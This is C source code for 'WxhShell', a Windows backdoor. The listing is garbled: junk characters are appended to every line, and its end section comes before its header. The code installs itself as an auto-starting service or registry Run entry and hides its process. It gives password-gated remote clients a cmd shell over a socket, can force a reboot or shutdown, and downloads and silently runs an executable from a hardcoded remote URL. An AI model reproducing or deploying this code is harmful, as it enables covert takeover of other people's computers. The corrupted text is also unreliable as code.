    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3%9XJ]Qao  
    if(Boot(SHUTDOWN)) `*Wg&u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RRy D<7s1  
    else { mnZfk  
    closesocket(wsh); VgbT/v  
    ExitThread(0); J( ]b1e  
    } v\9f 8|K  
    break; `Zmdlp@  
    } eW<NDI&b  
  // 获取shell )xU+M{p-os  
  case 's': { 6X'0 T}  
    CmdShell(wsh); 7fWZ/;p  
    closesocket(wsh); 8H};pu2  
    ExitThread(0); e:MbMj6`  
    break; /: -&b#+  
  } L^C B#5uG  
  // 退出 Y<Ae_yLa  
  case 'x': { ^ux'-/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L"1AC&~ u  
    CloseIt(wsh); =`(W^&|  
    break; P(b~3NB)  
    } $rQ7"w J  
  // 离开 } @3q;u)  
  case 'q': { \goiW;b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zonn  
    closesocket(wsh); PL31(!`@d  
    WSACleanup(); N8x&<H  
    exit(1); H^o_B1  
    break; @>ys,dy  
        } \O~/^ Y3U!  
  } #d<"Ub  
  } ]T5\LNyN  
|DsT $ ~D  
  // 提示信息 Dh}d-m_5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Uv<nJM  
} _@)-#7  
  } R$dNdd9m  
*e:I*L  
  return; Fku<|1}&y  
} 7NOF^/nU  
/i_FA]Go  
// shell模块句柄 qM3NQ8Rm  
int CmdShell(SOCKET sock) b$ 8R  
{ W%&s$b(  
STARTUPINFO si; ?%ltoezf  
ZeroMemory(&si,sizeof(si)); -+2A@kmEJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4%<wxrod  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V4Qy^nn1  
PROCESS_INFORMATION ProcessInfo; "85)2*+  
char cmdline[]="cmd"; e1V1Ae  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qOQ8a:]?  
  return 0; H;AMRL o4z  
} ]d{lS&PRlg  
Wzff p}V  
// 自身启动模式 "Il) _Ui  
int StartFromService(void) i;qij[W.z  
{ XCyb[(4  
typedef struct m#_M"B.cm  
{ L"c.15\  
  DWORD ExitStatus; e^;:iJS  
  DWORD PebBaseAddress; b ettOg  
  DWORD AffinityMask; &N/dxKZcc  
  DWORD BasePriority;  ]sP  
  ULONG UniqueProcessId; 3;uLBuZOCN  
  ULONG InheritedFromUniqueProcessId; 'vq0Tw5  
}   PROCESS_BASIC_INFORMATION; x{G 'IEf  
f4 +P2j  
PROCNTQSIP NtQueryInformationProcess; h'vBWtMa  
=l] lwA -  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ed_Fx'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5~[][VV^  
F]N?_ bo  
  HANDLE             hProcess; \?Xoa"^  
  PROCESS_BASIC_INFORMATION pbi; T^$`Z.  
W"t^t|H'~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b>#dMRK  
  if(NULL == hInst ) return 0; ;/ |tU o$  
psiuoYf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K0I.3| 6C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >s.y1Vg~C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CZy3]O"qW  
g{>0Pa 1?C  
  if (!NtQueryInformationProcess) return 0; .Tw:Y,G  
V`c,U7[/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ut/%+r"s  
  if(!hProcess) return 0; r1=j$G  
M U '-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,@M<O!%Cs  
 r/)ZKO,  
  CloseHandle(hProcess); <4zSh3  
'<e$ c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4}*.0'Hz  
if(hProcess==NULL) return 0; 9`^(M^|c  
23'<R i  
HMODULE hMod; _2<UcC~  
char procName[255]; 4Xwb`?}-  
unsigned long cbNeeded; nHZhP4W  
E*,nKJu'r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6u`$a&dR'l  
v7hw%9(=  
  CloseHandle(hProcess); m9D Tz$S.  
v<(+ l)Ln  
if(strstr(procName,"services")) return 1; // 以服务启动 $|[N3  
PAC=LQn&  
  return 0; // 注册表启动 =CdrhP_  
} 6p&uifY}tR  
 3U!=R-  
// 主模块 |S<!'rY  
int StartWxhshell(LPSTR lpCmdLine) gg#lI|  
{ ~oK0k_{~  
  SOCKET wsl; g2M1zRm;  
BOOL val=TRUE; zqQ[uO]m?  
  int port=0; )>"Ky  
  struct sockaddr_in door; 6T_Ya)  
cc1M9kVi  
  if(wscfg.ws_autoins) Install(); 0$=U\[og  
]HXHz(?;F  
port=atoi(lpCmdLine); Oc.8d<  
6rCUq  
if(port<=0) port=wscfg.ws_port; *.D{d0A  
ZTB6m`  
  WSADATA data; 0 xvSi9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q]Xu #:X  
6p3cMJ'8y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XW^Pz (  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _[l&{,  
  door.sin_family = AF_INET; Z>X]'q03  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F,K))325  
  door.sin_port = htons(port); q['3M<q  
}5 $le]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yn?Xo_Y  
closesocket(wsl); U.I 7p  
return 1; 4v{Ye,2  
} _)YB*z5  
U17=/E  
  if(listen(wsl,2) == INVALID_SOCKET) { Dk2Zl  
closesocket(wsl); ~,8#\]xR  
return 1; 7Xh @%[   
} )"2eN3H/  
  Wxhshell(wsl); ,4-],~T  
  WSACleanup(); x'6i9]+r  
Q]RE,ZZ  
return 0; DFRgn  
id`RscV]  
} >f1fvv6  
`JGW8 _  
// 以NT服务方式启动 %t74*cX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M[-/&;`f@  
{ 'L{pS-+6  
DWORD   status = 0; Ri::Ek3qu  
  DWORD   specificError = 0xfffffff; wM-H5\9n  
?zVE7;r4U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D)S_ p&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;/IX w>O(/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $j@P 8<M7  
  serviceStatus.dwWin32ExitCode     = 0; uI9+@oV  
  serviceStatus.dwServiceSpecificExitCode = 0; hew"p(`  
  serviceStatus.dwCheckPoint       = 0; adgd7JjI*  
  serviceStatus.dwWaitHint       = 0;  s%5XBI  
,u- 9e4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !u4eI0?R?  
  if (hServiceStatusHandle==0) return; t.bM]QU!1  
?hURNlR_Q  
status = GetLastError(); *7L1SjZw  
  if (status!=NO_ERROR) G"Ey%Q2K  
{ J?4dafkw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CalW J  
    serviceStatus.dwCheckPoint       = 0; 28- z  
    serviceStatus.dwWaitHint       = 0; I,]q;lEMt  
    serviceStatus.dwWin32ExitCode     = status; NMrf I0tbG  
    serviceStatus.dwServiceSpecificExitCode = specificError; "st+2#{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); txX>zR*)  
    return; R-mn8N&  
  } ^i3!1cS  
aJ1{9 5ea  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d+0= a]  
  serviceStatus.dwCheckPoint       = 0; W58%Zz4a  
  serviceStatus.dwWaitHint       = 0; A ;|P\V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0| =y#`;,Z  
} +-5YmN'  
I@#IXH?6  
// 处理NT服务事件,比如:启动、停止 ,WW=,P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K]dR%j  
{ :TV`uUE  
switch(fdwControl) LA/Qm/T  
{ QXy= |  
case SERVICE_CONTROL_STOP: ~9;udBfwF  
  serviceStatus.dwWin32ExitCode = 0; tk:G6Bkid  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bc b '4*:  
  serviceStatus.dwCheckPoint   = 0; qamq9F$V  
  serviceStatus.dwWaitHint     = 0; M}=>~TA@  
  { !g#y$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KhL%ov  
  } }"kF<gG1  
  return; D& &71X '  
case SERVICE_CONTROL_PAUSE: q$K}Fm1C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VT#`l0I }  
  break; |S:erYE,G  
case SERVICE_CONTROL_CONTINUE: @,W5K$Ka=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p&HO~J <w  
  break; EV|W:;Sg  
case SERVICE_CONTROL_INTERROGATE: C!6D /S  
  break; |=:hUp Jp  
}; r;wm`(e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z:2%gU&W  
} )?6%d  
\uJ+~db=  
// 标准应用程序主函数 I"KosSs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^E+fmY2a  
{ Q j|tD+<  
<;1M!.)5  
// 获取操作系统版本 { qCFd  
OsIsNt=GetOsVer(); t2m7Yh5B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z+zEH9.'  
J*Cf1 D5!  
  // 从命令行安装 H"?Ndl:  
  if(strpbrk(lpCmdLine,"iI")) Install(); IaO&f<^#o  
~K(mt0T )  
  // 下载执行文件 BV}sN{  
if(wscfg.ws_downexe) { EDF0q i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .%M80X{5~  
  WinExec(wscfg.ws_filenam,SW_HIDE); <l eE.hhf.  
} mSk";UCn  
8-@H zS%  
if(!OsIsNt) { Q DKY7"H  
// 如果时win9x,隐藏进程并且设置为注册表启动 4<f^/!9w  
HideProc(); g\iSc~%?  
StartWxhshell(lpCmdLine); Lnq CHe  
} )FfS7 C\.  
else f<'D?d)L^  
  if(StartFromService()) M<Dvhy[  
  // 以服务方式启动 N]\)Ok  
  StartServiceCtrlDispatcher(DispatchTable); r!|h3*YA  
else Ip *8R]W  
  // 普通方式启动 Ev3,p`zS._  
  StartWxhshell(lpCmdLine); 7m:TY>{  
nXjSf  
return 0; }n"gX>e~  
} BhiOV_}Hn  
:" JEC'  
PM&NY8|Zy  
^ _W] @m2  
=========================================== j^h:*rw  
J'k^(ZZ  
8VC%4+.FF  
tOo\s&j  
ogJ';i/o  
([7XtG/?  
" \vS > jB  
z&jASL  
#include <stdio.h> ~b4kV)[ q  
#include <string.h> `-?`H>+OG  
#include <windows.h> N-45LS@  
#include <winsock2.h> "}oo`+]Cq  
#include <winsvc.h> UoSc<h|  
#include <urlmon.h> 8~|v:qk  
VAe[x `  
#pragma comment (lib, "Ws2_32.lib") N0 mh gEA  
#pragma comment (lib, "urlmon.lib") <KI>:@|Sc  
:EH>&vm  
#define MAX_USER   100 // 最大客户端连接数 us.IdG  
#define BUF_SOCK   200 // sock buffer :X}Ie P  
#define KEY_BUFF   255 // 输入 buffer ~Qf\DTM&  
k$kxw_N5d  
#define REBOOT     0   // 重启 5Z=GFKf|  
#define SHUTDOWN   1   // 关机 Il#ST  
_c(h{dn  
#define DEF_PORT   5000 // 监听端口 %:OX^ ^i;  
nE bZ8M  
#define REG_LEN     16   // 注册表键长度 TJZ arNc$  
#define SVC_LEN     80   // NT服务名长度 G 6xN R  
b7gN|Hw5 H  
// 从dll定义API b.9[Vf_G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HJd{j,M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?>gr9w\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S9'Xsh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;3%Y@FS@  
UVW4KUxR  
// wxhshell配置信息 vjA!+_I6  
struct WSCFG { @twi<U_  
  int ws_port;         // 监听端口 Tz0XBH_  
  char ws_passstr[REG_LEN]; // 口令 su\`E&0V+  
  int ws_autoins;       // 安装标记, 1=yes 0=no (.5Ft^3W  
  char ws_regname[REG_LEN]; // 注册表键名 <vb7X  
  char ws_svcname[REG_LEN]; // 服务名 uWP0(6 %  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aNwx~t]G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UXw I?2L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @3~Wukc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6^2='y~e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %:sP#BQM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q:'r p  
BH}M]<5  
}; tGSX TF}G  
*_H]?&  
// default Wxhshell configuration <$C3] =2  
struct WSCFG wscfg={DEF_PORT, VA %lJ!$  
    "xuhuanlingzhe", 5'<mfY'B  
    1, aN!,\D  
    "Wxhshell", ,kl``w|1M  
    "Wxhshell", *)vy%\  
            "WxhShell Service", R0|4KT-i  
    "Wrsky Windows CmdShell Service", ;hh.w??  
    "Please Input Your Password: ", =F5zU5`i  
  1, Tr;&bX5]H  
  "http://www.wrsky.com/wxhshell.exe", 7g%\+%F I  
  "Wxhshell.exe" nHU}OGzW  
    }; E!>MJlA:k6  
\!%~( FM  
// 消息定义模块 %MEWw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %_~1(Glz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {!!8 *ix  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (`R heEg@f  
char *msg_ws_ext="\n\rExit."; &!FI!T -WH  
char *msg_ws_end="\n\rQuit."; itcM-?  
char *msg_ws_boot="\n\rReboot..."; #/\Zo &V8  
char *msg_ws_poff="\n\rShutdown..."; }1Q> A 5e  
char *msg_ws_down="\n\rSave to "; 4H{$zMq8  
&2n 5m&   
char *msg_ws_err="\n\rErr!"; VJ1rU mO~  
char *msg_ws_ok="\n\rOK!"; n;~'W*Ln0  
Qo*OC 9E`  
char ExeFile[MAX_PATH]; s{42_O?,c  
int nUser = 0; nB/`~_9  
HANDLE handles[MAX_USER]; ?u0qYep:  
int OsIsNt; i@ 86Ez  
D r"PS >.  
SERVICE_STATUS       serviceStatus; =Wz)(N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A7T(p7pP  
uC[F'\Y  
// 函数声明 0C6T>E7  
int Install(void); 7y$U$6  
int Uninstall(void); 3FMYs&0r4  
int DownloadFile(char *sURL, SOCKET wsh); ^Cj3\G4,  
int Boot(int flag); 8v=t-GJW  
void HideProc(void); +WguWLO"  
int GetOsVer(void); QT|\TplJt  
int Wxhshell(SOCKET wsl); Z!4B=?(  
void TalkWithClient(void *cs); J~h9i=4<bF  
int CmdShell(SOCKET sock); >LB*5  
int StartFromService(void); z$Qy<_l  
int StartWxhshell(LPSTR lpCmdLine); \3hFb,/4k  
y(Em+YTD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6=*n$l# }  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xhB-gG=  
_,f7D/dq  
// 数据结构和表定义 /03?(n= 3  
SERVICE_TABLE_ENTRY DispatchTable[] = NL'(/|)  
{ ~y/qm [P  
{wscfg.ws_svcname, NTServiceMain}, "#h/sAIs  
{NULL, NULL} `1#Z9&bO  
}; 9"}5jq4*  
o :j'd  
// 自我安装 >D_)z/v?"  
int Install(void) $2a_!/  
{ 6zGeGW  
  char svExeFile[MAX_PATH]; ]H<}6}Gd  
  HKEY key; V|/N-3M  
  strcpy(svExeFile,ExeFile); ?.c:k;j  
6w_TL< S  
// 如果是win9x系统,修改注册表设为自启动 U}l=1B  
if(!OsIsNt) { at\$ IK_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { urQ<r{$x0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zXkq2\GHA  
  RegCloseKey(key); `9A`pC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J6@RIia  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rmdg~  
  RegCloseKey(key); fVi[mH0=+  
  return 0; MOm+t]vq1  
    } z9v70 q  
  } vOl3utu7  
} 2Tv W 6  
else { $F]*B `  
g'EPdE  
// 如果是NT以上系统,安装为系统服务 di<g"8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +;bZ(_ohG  
if (schSCManager!=0) :*cd$s  
{ UgOhx- 8  
  SC_HANDLE schService = CreateService ziv+*Qn_b4  
  ( ?ea5k*#a  
  schSCManager, Ml )<4@  
  wscfg.ws_svcname, sXY{g0%  
  wscfg.ws_svcdisp, OD?y  
  SERVICE_ALL_ACCESS, f{|n/j;n=C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'vKae  
  SERVICE_AUTO_START, J8[aVG  
  SERVICE_ERROR_NORMAL, 5JG`FRW!  
  svExeFile, ?q y*`  
  NULL, !P6?nS  
  NULL, ;Q[E>j?w=  
  NULL, q3|SZoN  
  NULL, BG6Lky/omz  
  NULL xFA`sAucr  
  ); ZbH_h]1$D  
  if (schService!=0) j_b/66JyN  
  { Zj0h0Vt  
  CloseServiceHandle(schService); 7>EMr}f C  
  CloseServiceHandle(schSCManager); rAD4}A_w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4z^~,7J^  
  strcat(svExeFile,wscfg.ws_svcname); 51ILR9 Bc_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (.b!kfC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9QeBz`lm)  
  RegCloseKey(key); $-\%%n0>6  
  return 0; cVSns\QO  
    } GbvbGEG  
  } hK3Twzte  
  CloseServiceHandle(schSCManager); 8L`wib2  
} YI]/gWeu  
} %2beoH'  
;x/. 8fA  
return 1; !"ydl2  
} @}' ?o_/C  
@k/|%%uP  
// 自我卸载 ]puDqu5!  
int Uninstall(void) LwH+X:?i  
{ t{Ks}9B  
  HKEY key; f+Fzpd?wS  
d~T@fa  
if(!OsIsNt) { <<9|*Tz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )[=C@U  
  RegDeleteValue(key,wscfg.ws_regname); Jt)J1CA Yo  
  RegCloseKey(key); F'ez{ B\AX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gUiZv8C  
  RegDeleteValue(key,wscfg.ws_regname); DP!8c  
  RegCloseKey(key); J@rBrKC  
  return 0; Ki /j\  
  } JQW7y!Z  
} D"{%[;J  
} iZ( Jw Y  
else { n+ s=u$%qn  
f^Q)lIv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q{~;4+ZD  
if (schSCManager!=0) gU?M/i2  
{ tnq Zl S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #=Whh 9-d  
  if (schService!=0) =n;LP#(h?  
  { $4]4G=o  
  if(DeleteService(schService)!=0) { xg;F};}5$  
  CloseServiceHandle(schService); 6f+@@=Xc  
  CloseServiceHandle(schSCManager); !)`m mr  
  return 0; hl,x|.f}4Y  
  } `J;g~#/k  
  CloseServiceHandle(schService); 1TgD;qX  
  } +77j2W_0  
  CloseServiceHandle(schSCManager); :2~2j-m  
} #6#%y~N  
} 2=| Ks]<P  
$6d5W=u$H  
return 1; K)eyFc  
} .AF\[IQ  
k~JTQh*,w  
// 从指定url下载文件 .8wF> 8  
int DownloadFile(char *sURL, SOCKET wsh) S=$ \S9  
{ %)e&"mq!|  
  HRESULT hr; hF1Lj=x  
char seps[]= "/"; ]v_u2f'  
char *token; (62Sc]  
char *file; .pblI  
char myURL[MAX_PATH]; c Hnd gUW]  
char myFILE[MAX_PATH]; |"}rC >+  
A|m0.'/   
strcpy(myURL,sURL); QjTs$#eMW  
  token=strtok(myURL,seps); {Ut,xi  
  while(token!=NULL) V}h)e3X  
  { $wk(4W8E  
    file=token; R l)g[s  
  token=strtok(NULL,seps); Y*S(uqM  
  } :S+Bu*OyH  
0.B'Bvn=s2  
GetCurrentDirectory(MAX_PATH,myFILE); m4R:KjN*  
strcat(myFILE, "\\"); $-39O3  
strcat(myFILE, file); ^+Vf*YY 8  
  send(wsh,myFILE,strlen(myFILE),0); /^`d o3a}  
send(wsh,"...",3,0); LXRIo2ynuw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o3le[6C/8=  
  if(hr==S_OK) e )]  
return 0; o\nFSG kn  
else ayLINpL  
return 1; }50s\H._C  
cY|@s?3NND  
} z AY -Y  
E .CG  
// 系统电源模块 d;).| .}P  
int Boot(int flag) +,eF(VS!  
{ WogCt,  
  HANDLE hToken; T t$] [  
  TOKEN_PRIVILEGES tkp; <"7Wb"+  
Pe@*')o*  
  if(OsIsNt) { >{"E~U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T~d_?UAw$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U< "k -  
    tkp.PrivilegeCount = 1; nDz.61$[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z5"5Ge-M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .nei9Y*  
if(flag==REBOOT) { :79u2wSh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {7EpljH@  
  return 0; tl=e!  
} Ag;Ybk[  
else { Crezo?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w`F'loUEt  
  return 0; |[$ TT$Fb  
} )1!0'j99.  
  } UDlM?r:f  
  else { s =<65  
if(flag==REBOOT) { V"KuwM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 352RJC  
  return 0; ~8)l/I=`);  
} WA#y&  
else { @CKMJ^#|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [*r=u[67F  
  return 0; ,]tMZ?n8  
} {@[#0gPH  
} Axla@  
s6Il3K f  
return 1; 2F/oWt|w?  
}  )eH?3""  
]ts^h~BZ$  
// win9x进程隐藏模块 )hD77(c  
void HideProc(void) ?BU?c:"f  
{ NZ% v{?  
AH^ud*3F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D4T(Dce  
  if ( hKernel != NULL ) P}he}k&IR  
  { ^$y`Q@-9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OUy} 1%HY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -=qHwcId  
    FreeLibrary(hKernel); !14l[k+\  
  } -`1)yhS  
-2Dgr\M  
return; N({-&A.N  
} _RWH$L9  
M`?ATmYy  
// 获取操作系统版本 )!'7!" $  
int GetOsVer(void) Rpxg 5  
{ {#z[iiB  
  OSVERSIONINFO winfo; fbJa$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Eg1|Kg\&  
  GetVersionEx(&winfo); )IKqO:@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !#S"[q  
  return 1; XLlJ|xhY-K  
  else P8 R^46  
  return 0; I:YE6${k!  
} 'K|F{K  
w^[:wzF0  
// 客户端句柄模块 '_" S/X +v  
int Wxhshell(SOCKET wsl) <WL] (-9I:  
{ ?8q4texf[  
  SOCKET wsh; VgS2_TU  
  struct sockaddr_in client; )00jRuF  
  DWORD myID; w=thaF.  
s^/2sjoL  
  while(nUser<MAX_USER) 5oo6d4[  
{ [2ri=lf,  
  int nSize=sizeof(client); ;V bB]aUg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }*7Gq  
  if(wsh==INVALID_SOCKET) return 1; .~|[* q\  
;bFd*8?;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~l*[=0}  
if(handles[nUser]==0) Q fL8@W~e  
  closesocket(wsh); @QDpw1;V'  
else tZ:fh  p  
  nUser++; z\Z+>A  
  } 2c3/iYCKP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WmE4TL^8?  
AA}+37@2I  
  return 0; n`p/;D=?  
} m[Qr>="  
e<"sZK  
// 关闭 socket 3(1UI u  
void CloseIt(SOCKET wsh) 4hW:c0  
{ tD]vx`0>  
closesocket(wsh); LftzW{>gI"  
nUser--; jK2gc^"t  
ExitThread(0); )9+H[  
} E>F6!qYm  
peVzF'F  
// 客户端请求句柄 #/)U0 IR)  
void TalkWithClient(void *cs) r<'B\.#tp>  
{ %< Jj[F  
%/R[cj 8  
  SOCKET wsh=(SOCKET)cs; /.(F\2+A  
  char pwd[SVC_LEN]; F mQiy+.|  
  char cmd[KEY_BUFF]; QG09=GQ  
char chr[1]; T )bMHk  
int i,j; ~jJe|zg>  
TIno"tc3  
  while (nUser < MAX_USER) { gKRlXVS  
|j4;XaG)  
if(wscfg.ws_passstr) { _ + >V(,{G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ FN#Vq2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qi|k,1A0  
  //ZeroMemory(pwd,KEY_BUFF); y~ wN:  
      i=0; yg"FF:^T  
  while(i<SVC_LEN) { Q>uJ:[x+  
gY_AO1  
  // 设置超时 kuv+TN  
  fd_set FdRead; 1z@{ 4)  
  struct timeval TimeOut; r`PD}6\  
  FD_ZERO(&FdRead); +SkfT4*U  
  FD_SET(wsh,&FdRead); ePTxuCf>  
  TimeOut.tv_sec=8; >vNE3S_  
  TimeOut.tv_usec=0; $Eo-58<q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s2 $w>L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2=X.$&a  
t5EYu*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [\=1|t5n~  
  pwd=chr[0]; }q:4Zh'l!  
  if(chr[0]==0xd || chr[0]==0xa) { (1%A@ 4  
  pwd=0; H~W=#Cx  
  break; GsIqUM#R  
  } JY$;m3h  
  i++; yRt7&,}zL  
    } MkM`)g 5  
#X0Y8:vj  
  // 如果是非法用户,关闭 socket 1c4:'0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %5j*e  
} 2QKt.a  
z!)@`?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E+Dcw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9M@,BXOt  
@[]#[7  
while(1) { %4Yq (e  
\Z-Fu=8J8^  
  ZeroMemory(cmd,KEY_BUFF); w+hpi5OH  
|^OK@KdL1  
      // 自动支持客户端 telnet标准   Uq.hCb`:  
  j=0; B9]bv]  
  while(j<KEY_BUFF) { ]i8t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .v['INK9  
  cmd[j]=chr[0]; o RK:{?Y  
  if(chr[0]==0xa || chr[0]==0xd) { %t]{C06w+{  
  cmd[j]=0; *Z3b6X'e  
  break; S4 s#EDs  
  } </_.+c [  
  j++; U"L-1]L  
    } BxB B](  
zEw~t&:e  
  // 下载文件 Sp[]vm8N  
  if(strstr(cmd,"http://")) { 2FR 5RG oD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gN[^ ,u  
  if(DownloadFile(cmd,wsh)) ^O&&QRH~w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ F>'+9?Sn  
  else fPG3$<Zr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h79~d%-  
  } n39EKH rm%  
  else { yn.[-  
